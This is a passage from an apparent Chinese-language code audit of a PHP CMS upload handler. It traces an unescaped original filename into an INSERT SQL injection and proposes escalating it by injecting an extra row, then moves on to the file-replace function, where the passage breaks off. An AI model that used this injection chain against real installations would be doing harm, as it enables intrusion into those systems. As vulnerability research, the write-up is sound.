<span class="nv">$out_tmpfile </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">dir_root</span><span class="o">.</span><span class="s1">'data/cache/'</span><span class="o">.</span><span class="nv">$tmpid</span><span class="o">.</span><span class="s1">'_'</span><span class="o">.</span><span class="nv">$chunk</span><span class="p">;</span>
<span class="k">if</span><span class="nx"> </span><span class="p">(</span><span class="o">!</span><span class="nv">$out </span><span class="o">=</span><span class="nx"> </span><span class="o">@</span><span class="nb">fopen</span><span class="p">(</span><span class="nv">$out_tmpfile</span><span class="o">.</span><span class="s2">".parttmp"</span><span class="p">,</span><span class="nx"> </span><span class="s2">"wb"</span><span class="p">))</span><span class="nx"> </span><span class="p">{</span>
<span class="k">return</span><span class="nx"> array</span><span class="p">(</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'error'</span><span class="p">,</span><span class="s1">'error'</span><span class="o">=></span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'无法打开输出流'</span><span class="p">));</span>
<span class="p">}</span>
<span class="nv">$error_id </span><span class="o">=</span><span class="nx"> </span><span class="nv">$_FILES</span><span class="p">[</span><span class="nv">$input</span><span class="p">][</span><span class="s1">'error'</span><span class="p">]</span><span class="nx"> </span><span class="o">?</span><span class="nx"> </span><span class="nv">$_FILES</span><span class="p">[</span><span class="nv">$input</span><span class="p">][</span><span class="s1">'error'</span><span class="p">]</span><span class="nx"> </span><span class="o">:</span><span class="nx"> 0</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$error_id</span><span class="p">){</span>
<span class="k">return</span><span class="nx"> array</span><span class="p">(</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'error'</span><span class="p">,</span><span class="s1">'error'</span><span class="o">=></span><span class="nv">$this</span><span class="o">-></span><span class="na">up_error</span><span class="p">[</span><span class="nv">$error_id</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">is_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="nv">$input</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">])){</span>
<span class="k">return</span><span class="nx"> array</span><span class="p">(</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'error'</span><span class="p">,</span><span class="s1">'error'</span><span class="o">=></span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'上传失败,临时文件无法写入'</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$in </span><span class="o">=</span><span class="nx"> </span><span class="o">@</span><span class="nb">fopen</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="nv">$input</span><span class="p">][</span><span class="s2">"tmp_name"</span><span class="p">],</span><span class="nx"> </span><span class="s2">"rb"</span><span class="p">))</span><span class="nx"> </span><span class="p">{</span>
<span class="k">return</span><span class="nx"> array</span><span class="p">(</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'error'</span><span class="p">,</span><span class="s1">'error'</span><span class="o">=></span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'无法打开输入流'</span><span class="p">));</span>
<span class="nx"> </span><span class="p">}</span>
<span class="nx"> while </span><span class="p">(</span><span class="nv">$buff </span><span class="o">=</span><span class="nx"> fread</span><span class="p">(</span><span class="nv">$in</span><span class="p">,</span><span class="nx"> 4096</span><span class="p">))</span><span class="nx"> </span><span class="p">{</span>
<span class="nx"> fwrite</span><span class="p">(</span><span class="nv">$out</span><span class="p">,</span><span class="nx"> </span><span class="nv">$buff</span><span class="p">);</span>
<span class="p">}</span>
<span class="o">@</span><span class="nb">fclose</span><span class="p">(</span><span class="nv">$out</span><span class="p">);</span>
<span class="o">@</span><span class="nb">fclose</span><span class="p">(</span><span class="nv">$in</span><span class="p">);</span>
<span class="nv">$app</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'file'</span><span class="p">)</span><span class="o">-></span><span class="na">mv</span><span class="p">(</span><span class="nv">$out_tmpfile</span><span class="o">.</span><span class="s1">'.parttmp'</span><span class="p">,</span><span class="nv">$out_tmpfile</span><span class="o">.</span><span class="s1">'.part'</span><span class="p">);</span>
<span class="nv">$index </span><span class="o">=</span><span class="nx"> 0</span><span class="p">;</span>
<span class="nv">$done </span><span class="o">=</span><span class="nx"> true</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="nv">$index</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nv">$index</span><span class="o"><</span><span class="nv">$chunks</span><span class="p">;</span><span class="nv">$index</span><span class="o">++</span><span class="p">)</span><span class="nx"> </span><span class="p">{</span>
<span class="nx"> if </span><span class="p">(</span><span class="o">!</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">dir_root</span><span class="o">.</span><span class="s1">'data/cache/'</span><span class="o">.</span><span class="nv">$tmpid</span><span class="o">.</span><span class="s1">'_'</span><span class="o">.</span><span class="nv">$index</span><span class="o">.</span><span class="s2">".part"</span><span class="p">)</span><span class="nx"> </span><span class="p">)</span><span class="nx"> </span><span class="p">{</span>
<span class="nx"> </span><span class="nv">$done </span><span class="o">=</span><span class="nx"> false</span><span class="p">;</span>
<span class="nx"> break</span><span class="p">;</span>
<span class="nx"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$done</span><span class="p">){</span>
<span class="k">return</span><span class="nx"> array</span><span class="p">(</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'error'</span><span class="p">,</span><span class="s1">'error'</span><span class="o">=></span><span class="s1">'上传的文件异常'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$outfile </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">folder</span><span class="o">.</span><span class="nv">$basename</span><span class="o">.</span><span class="s1">'.'</span><span class="o">.</span><span class="nv">$ext</span><span class="p">;</span>
<span class="nx"> if</span><span class="p">(</span><span class="o">!</span><span class="nv">$out </span><span class="o">=</span><span class="nx"> </span><span class="o">@</span><span class="nb">fopen</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">dir_root</span><span class="o">.</span><span class="nv">$outfile</span><span class="p">,</span><span class="s2">"wb"</span><span class="p">))</span><span class="nx"> </span><span class="p">{</span>
<span class="nx"> return array</span><span class="p">(</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'error'</span><span class="p">,</span><span class="s1">'error'</span><span class="o">=></span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'无法打开输出流'</span><span class="p">));</span>
<span class="nx"> </span><span class="p">}</span>
<span class="nx"> if</span><span class="p">(</span><span class="nb">flock</span><span class="p">(</span><span class="nv">$out</span><span class="p">,</span><span class="nx">LOCK_EX</span><span class="p">)){</span>
<span class="nx"> for</span><span class="p">(</span><span class="nv">$index</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nv">$index</span><span class="o"><</span><span class="nv">$chunks</span><span class="p">;</span><span class="nv">$index</span><span class="o">++</span><span class="p">)</span><span class="nx"> </span><span class="p">{</span>
<span class="nx"> if </span><span class="p">(</span><span class="o">!</span><span class="nv">$in </span><span class="o">=</span><span class="nx"> </span><span class="o">@</span><span class="nb">fopen</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">dir_root</span><span class="o">.</span><span class="s1">'data/cache/'</span><span class="o">.</span><span class="nv">$tmpid</span><span class="o">.</span><span class="s1">'_'</span><span class="o">.</span><span class="nv">$index</span><span class="o">.</span><span class="s1">'.part'</span><span class="p">,</span><span class="s1">'rb'</span><span class="p">)){</span>
<span class="nx"> break</span><span class="p">;</span>
<span class="nx"> </span><span class="p">}</span>
<span class="nx"> while </span><span class="p">(</span><span class="nv">$buff </span><span class="o">=</span><span class="nx"> fread</span><span class="p">(</span><span class="nv">$in</span><span class="p">,</span><span class="nx"> 4096</span><span class="p">))</span><span class="nx"> </span><span class="p">{</span>
<span class="nx"> fwrite</span><span class="p">(</span><span class="nv">$out</span><span class="p">,</span><span class="nx"> </span><span class="nv">$buff</span><span class="p">);</span>
<span class="nx"> </span><span class="p">}</span>
<span class="nx"> </span><span class="o">@</span><span class="nb">fclose</span><span class="p">(</span><span class="nv">$in</span><span class="p">);</span>
<span class="nx"> </span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s1">'app'</span><span class="p">]</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'file'</span><span class="p">)</span><span class="o">-></span><span class="na">rm</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">dir_root</span><span class="o">.</span><span class="s1">'data/cache/'</span><span class="o">.</span><span class="nv">$tmpid</span><span class="o">.</span><span class="s2">"_"</span><span class="o">.</span><span class="nv">$index</span><span class="o">.</span><span class="s2">".part"</span><span class="p">);</span>
<span class="nx"> </span><span class="p">}</span>
<span class="nx"> flock</span><span class="p">(</span><span class="nv">$out</span><span class="p">,</span><span class="nx">LOCK_UN</span><span class="p">);</span>
<span class="nx"> </span><span class="p">}</span>
<span class="nx"> </span><span class="o">@</span><span class="nb">fclose</span><span class="p">(</span><span class="nv">$out</span><span class="p">);</span>
<span class="nx"> </span><span class="nv">$tmpname </span><span class="o">=</span><span class="nx"> </span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s1">'app'</span><span class="p">]</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'string'</span><span class="p">)</span><span class="o">-></span><span class="na">to_utf8</span><span class="p">(</span><span class="nv">$tmpname</span><span class="p">);</span>
<span class="nx"> </span><span class="nv">$title </span><span class="o">=</span><span class="nx"> str_replace</span><span class="p">(</span><span class="s2">"."</span><span class="o">.</span><span class="nv">$ext</span><span class="p">,</span><span class="s1">''</span><span class="p">,</span><span class="nv">$tmpname</span><span class="p">);</span>
<span class="nx"> return array</span><span class="p">(</span><span class="s1">'title'</span><span class="o">=></span><span class="nv">$title</span><span class="p">,</span><span class="s1">'ext'</span><span class="o">=></span><span class="nv">$ext</span><span class="p">,</span><span class="s1">'filename'</span><span class="o">=></span><span class="nv">$outfile</span><span class="p">,</span><span class="s1">'folder'</span><span class="o">=></span><span class="nv">$this</span><span class="o">-></span><span class="na">folder</span><span class="p">,</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'ok'</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其中 <code>$ext = $this->file_ext($tmpname);</code>是检测文件后缀的,看一下:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">private</span> <span class="k">function</span> <span class="nf">file_ext</span><span class="p">(</span><span class="nv">$tmpname</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$ext</span> <span class="o">=</span> <span class="nb">pathinfo</span><span class="p">(</span><span class="nv">$tmpname</span><span class="p">,</span><span class="nx">PATHINFO_EXTENSION</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$ext</span><span class="p">){</span>
<span class="k">return</span> <span class="k">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$ext</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nv">$ext</span><span class="p">);</span>
<span class="nv">$filetypes</span> <span class="o">=</span> <span class="s2">"jpg,gif,png"</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">cate</span> <span class="o">&&</span> <span class="nv">$this</span><span class="o">-></span><span class="na">cate</span><span class="p">[</span><span class="s1">'filetypes'</span><span class="p">]){</span>
<span class="nv">$filetypes</span> <span class="o">.=</span> <span class="s2">","</span><span class="o">.</span><span class="nv">$this</span><span class="o">-></span><span class="na">cate</span><span class="p">[</span><span class="s1">'filetypes'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">file_type</span><span class="p">){</span>
<span class="nv">$filetypes</span> <span class="o">.=</span> <span class="s2">","</span><span class="o">.</span><span class="nv">$this</span><span class="o">-></span><span class="na">file_type</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$list</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">","</span><span class="p">,</span><span class="nv">$filetypes</span><span class="p">);</span>
<span class="nv">$list</span> <span class="o">=</span> <span class="nb">array_unique</span><span class="p">(</span><span class="nv">$list</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$ext</span><span class="p">,</span><span class="nv">$list</span><span class="p">)){</span>
<span class="k">return</span> <span class="k">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$ext</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">上传是比较严格的,只允许上传后缀是jpg,png,gif这种图片后缀的文件,上传我们无法绕过,但是程序对于上传的文件名没有充份的过滤,在函数末尾,将文件名添加到了返回的数组中:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nx"> </span><span class="nv">$tmpname </span><span class="o">=</span><span class="nx"> </span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s1">'app'</span><span class="p">]</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'string'</span><span class="p">)</span><span class="o">-></span><span class="na">to_utf8</span><span class="p">(</span><span class="nv">$tmpname</span><span class="p">);</span>
<span class="nx"> </span><span class="nv">$title </span><span class="o">=</span><span class="nx"> str_replace</span><span class="p">(</span><span class="s2">"."</span><span class="o">.</span><span class="nv">$ext</span><span class="p">,</span><span class="s1">''</span><span class="p">,</span><span class="nv">$tmpname</span><span class="p">);</span>
<span class="nx"> return array</span><span class="p">(</span><span class="s1">'title'</span><span class="o">=></span><span class="nv">$title</span><span class="p">,</span><span class="s1">'ext'</span><span class="o">=></span><span class="nv">$ext</span><span class="p">,</span><span class="s1">'filename'</span><span class="o">=></span><span class="nv">$outfile</span><span class="p">,</span><span class="s1">'folder'</span><span class="o">=></span><span class="nv">$this</span><span class="o">-></span><span class="na">folder</span><span class="p">,</span><span class="s1">'status'</span><span class="o">=></span><span class="s1">'ok'</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里的$tmpname就是我们上传的文件名,注意,不是上传后的文件名,而是上传前的文件名,并且没有对该文件名过滤,然后返回。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们回到开头,upload_base函数中去:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nv">$rs </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'upload'</span><span class="p">)</span><span class="o">-></span><span class="na">getfile</span><span class="p">(</span><span class="nv">$input_name</span><span class="p">,</span><span class="nv">$cateid</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s2">"status"</span><span class="p">]</span><span class="nx"> </span><span class="o">!=</span><span class="nx"> </span><span class="s2">"ok"</span><span class="p">){</span>
<span class="k">return</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$array </span><span class="o">=</span><span class="nx"> array</span><span class="p">();</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"cate_id"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'cate'</span><span class="p">][</span><span class="s1">'id'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"folder"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'folder'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> basename</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">]);</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"ext"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'ext'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"filename"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"addtime"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">time</span><span class="p">;</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"title"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'title'</span><span class="p">];</span>
<span class="nv">$array</span><span class="p">[</span><span class="s1">'session_id'</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">session</span><span class="o">-></span><span class="na">sessid</span><span class="p">();</span>
<span class="nv">$array</span><span class="p">[</span><span class="s1">'user_id'</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">session</span><span class="o">-></span><span class="na">val</span><span class="p">(</span><span class="s1">'user_id'</span><span class="p">);</span>
<span class="nv">$arraylist </span><span class="o">=</span><span class="nx"> array</span><span class="p">(</span><span class="s2">"jpg"</span><span class="p">,</span><span class="s2">"gif"</span><span class="p">,</span><span class="s2">"png"</span><span class="p">,</span><span class="s2">"jpeg"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s2">"ext"</span><span class="p">],</span><span class="nv">$arraylist</span><span class="p">)){</span>
<span class="nv">$img_ext </span><span class="o">=</span><span class="nx"> getimagesize</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">dir_root</span><span class="o">.</span><span class="nv">$rs</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">]);</span>
<span class="nv">$my_ext </span><span class="o">=</span><span class="nx"> array</span><span class="p">(</span><span class="s2">"width"</span><span class="o">=></span><span class="nv">$img_ext</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="s2">"height"</span><span class="o">=></span><span class="nv">$img_ext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="nv">$array</span><span class="p">[</span><span class="s2">"attr"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> serialize</span><span class="p">(</span><span class="nv">$my_ext</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$id </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">model</span><span class="p">(</span><span class="s1">'res'</span><span class="p">)</span><span class="o">-></span><span class="na">save</span><span class="p">(</span><span class="nv">$array</span><span class="p">);</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到这里将返回值中的title的值赋值给了$array[‘title’],这个值是我们可控的,然后将$array带入到了save函数中,我们看一下该函数:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/framework/model/res.php中第279行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">public</span><span class="nx"> function save</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span><span class="nv">$id</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$data </span><span class="o">||</span><span class="nx"> </span><span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$data</span><span class="p">)){</span>
<span class="k">return</span><span class="nx"> false</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$id</span><span class="p">){</span>
<span class="k">return</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">db</span><span class="o">-></span><span class="na">update_array</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span><span class="s2">"res"</span><span class="p">,</span><span class="k">array</span><span class="p">(</span><span class="s2">"id"</span><span class="o">=></span><span class="nv">$id</span><span class="p">));</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">return</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">db</span><span class="o">-></span><span class="na">insert_array</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span><span class="s2">"res"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">将$data带入到了insert_array函数中,我们看一下该函数:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">/framework/engine/db/mysqli.php中第211行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">public</span><span class="nx"> function insert_array</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span><span class="nv">$tbl</span><span class="p">,</span><span class="nv">$type</span><span class="o">=</span><span class="s2">"insert"</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$tbl </span><span class="o">||</span><span class="nx"> </span><span class="o">!</span><span class="nv">$data </span><span class="o">||</span><span class="nx"> </span><span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$data</span><span class="p">)){</span>
<span class="k">return</span><span class="nx"> false</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$tbl</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">prefix</span><span class="p">))</span><span class="nx"> </span><span class="o">!=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">prefix</span><span class="p">){</span>
<span class="nv">$tbl </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">prefix</span><span class="o">.</span><span class="nv">$tbl</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$type </span><span class="o">=</span><span class="nx"> strtolower</span><span class="p">(</span><span class="nv">$type</span><span class="p">);</span>
<span class="nv">$sql </span><span class="o">=</span><span class="nx"> </span><span class="nv">$type </span><span class="o">==</span><span class="nx"> </span><span class="s1">'insert'</span><span class="nx"> </span><span class="o">?</span><span class="nx"> </span><span class="s2">"INSERT"</span><span class="nx"> </span><span class="o">:</span><span class="nx"> </span><span class="s2">"REPLACE"</span><span class="p">;</span>
<span class="nv">$sql</span><span class="o">.=</span><span class="nx"> </span><span class="s2">" INTO "</span><span class="o">.</span><span class="nv">$tbl</span><span class="o">.</span><span class="s2">" "</span><span class="p">;</span>
<span class="nv">$sql_fields </span><span class="o">=</span><span class="nx"> array</span><span class="p">();</span>
<span class="nv">$sql_val </span><span class="o">=</span><span class="nx"> array</span><span class="p">();</span>
<span class="k">foreach</span><span class="p">(</span><span class="nv">$data AS $key</span><span class="o">=></span><span class="nv">$value</span><span class="p">){</span>
<span class="nv">$sql_fields</span><span class="p">[]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="s2">"`"</span><span class="o">.</span><span class="nv">$key</span><span class="o">.</span><span class="s2">"`"</span><span class="p">;</span>
<span class="nv">$sql_val</span><span class="p">[]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="s2">"'"</span><span class="o">.</span><span class="nv">$value</span><span class="o">.</span><span class="s2">"'"</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$sql</span><span class="o">.=</span><span class="nx"> </span><span class="s2">"("</span><span class="o">.</span><span class="p">(</span><span class="nb">implode</span><span class="p">(</span><span class="s2">","</span><span class="p">,</span><span class="nv">$sql_fields</span><span class="p">))</span><span class="o">.</span><span class="s2">") VALUES("</span><span class="o">.</span><span class="p">(</span><span class="nb">implode</span><span class="p">(</span><span class="s2">","</span><span class="p">,</span><span class="nv">$sql_val</span><span class="p">))</span><span class="o">.</span><span class="s2">")"</span><span class="p">;</span>
<span class="k">return</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">insert</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">就是将该数组中的键值遍历出来,将键作为字段名,将值作为对应字段的值。可以看到,对于值是没有进行转义的,其中包括我们可以控制的title的值,那么这里就产生了一个insert的注入。那么这个注入我们有什么用呢?当然首先想到的是一个出数据,但是对于update 或者insert注入,一般来说我会想办法将这个注入升级一下危害。注意这个注入是一个insert注入,并且insert语句是可以一次插入多条内容的,我们不能控制当前这条insert语句的内容,我们可以控制下一条的内容,比如说像这样:<br /></span>
<span class="md_line md_line_dom_embed"><strong>Insert into file values(1,2,3,),(4,5,6)</strong><br /></span>
<span class="md_line md_line_end">那么我们控制下一条的内容有什么用,好,现在我们开始看/framework/www/upload_control.php中的第103行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">public</span><span class="nx"> function replace_f</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">popedom</span><span class="p">();</span>
<span class="nv">$id </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="s2">"oldid"</span><span class="p">,</span><span class="s1">'int'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$id</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">json</span><span class="p">(</span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'没有指定要替换的附件'</span><span class="p">));</span>
<span class="p">}</span>
<span class="nv">$old_rs </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">model</span><span class="p">(</span><span class="s1">'res'</span><span class="p">)</span><span class="o">-></span><span class="na">get_one</span><span class="p">(</span><span class="nv">$id</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$old_rs</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">json</span><span class="p">(</span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'资源不存在'</span><span class="p">));</span>
<span class="p">}</span>
<span class="nv">$rs </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'upload'</span><span class="p">)</span><span class="o">-></span><span class="na">upload</span><span class="p">(</span><span class="s1">'upfile'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s2">"status"</span><span class="p">]</span><span class="nx"> </span><span class="o">!=</span><span class="nx"> </span><span class="s2">"ok"</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">json</span><span class="p">(</span><span class="nx">P_Lang</span><span class="p">(</span><span class="s1">'附件上传失败'</span><span class="p">));</span>
<span class="p">}</span>
<span class="nv">$arraylist </span><span class="o">=</span><span class="nx"> array</span><span class="p">(</span><span class="s2">"jpg"</span><span class="p">,</span><span class="s2">"gif"</span><span class="p">,</span><span class="s2">"png"</span><span class="p">,</span><span class="s2">"jpeg"</span><span class="p">);</span>
<span class="nv">$my_ext </span><span class="o">=</span><span class="nx"> array</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s2">"ext"</span><span class="p">],</span><span class="nv">$arraylist</span><span class="p">))</span>
<span class="p">{</span>
<span class="nv">$img_ext </span><span class="o">=</span><span class="nx"> getimagesize</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s2">"filename"</span><span class="p">]);</span>
<span class="nv">$my_ext</span><span class="p">[</span><span class="s2">"width"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$img_ext</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="nv">$my_ext</span><span class="p">[</span><span class="s2">"height"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> </span><span class="nv">$img_ext</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span>
<span class="c1">//替换资源</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">lib</span><span class="p">(</span><span class="s1">'file'</span><span class="p">)</span><span class="o">-></span><span class="na">mv</span><span class="p">(</span><span class="nv">$rs</span><span class="p">[</span><span class="s2">"filename"</span><span class="p">],</span><span class="nv">$old_rs</span><span class="p">[</span><span class="s2">"filename"</span><span class="p">]);</span>
<span class="nv">$tmp </span><span class="o">=</span><span class="nx"> array</span><span class="p">(</span><span class="s2">"addtime"</span><span class="o">=></span><span class="nv">$this</span><span class="o">-></span><span class="na">time</span><span class="p">);</span>
<span class="nv">$tmp</span><span class="p">[</span><span class="s2">"attr"</span><span class="p">]</span><span class="nx"> </span><span class="o">=</span><span class="nx"> serialize</span><span class="p">(</span><span class="nv">$my_ext</span><span class="p">);</span>
